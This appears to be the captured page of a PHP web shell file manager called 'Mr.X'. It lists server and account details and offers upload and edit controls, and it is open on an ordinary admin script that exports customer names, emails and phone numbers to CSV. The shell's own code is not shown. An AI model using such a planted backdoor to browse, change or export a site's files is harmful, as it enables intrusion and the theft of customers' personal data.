🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:customer-export.php
<?php require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/functions.php'; if (!isAdmin()) { header("Location: index.php"); exit; } header('Content-Type: text/csv; charset=utf-8'); header('Content-Disposition: attachment; filename=customers_export_'.date('Ymd').'.csv'); $output = fopen('php://output', 'w'); fputcsv($output, ['ID', 'Name', 'Email', 'Phone', 'District', 'Status', 'Joined', 'Total Bookings', 'Total Spent']); $customers = $conn->query("SELECT c.*, (SELECT COUNT(*) FROM bookings WHERE customer_id=c.id) as tbook, (SELECT COALESCE(SUM(total_price),0) FROM bookings WHERE customer_id=c.id AND status NOT IN ('cancelled')) as tspent FROM customers c ORDER BY c.id DESC")->fetch_all(MYSQLI_ASSOC); foreach ($customers as $c) { fputcsv($output, [$c['id'], $c['name'], $c['email'], $c['phone'], $c['district']??'', $c['status']?'Active':'Inactive', $c['created_at'], $c['tbook'], $c['tspent']]); } fclose($output);
Save Changes
Cancel
Create New File
Create New Folder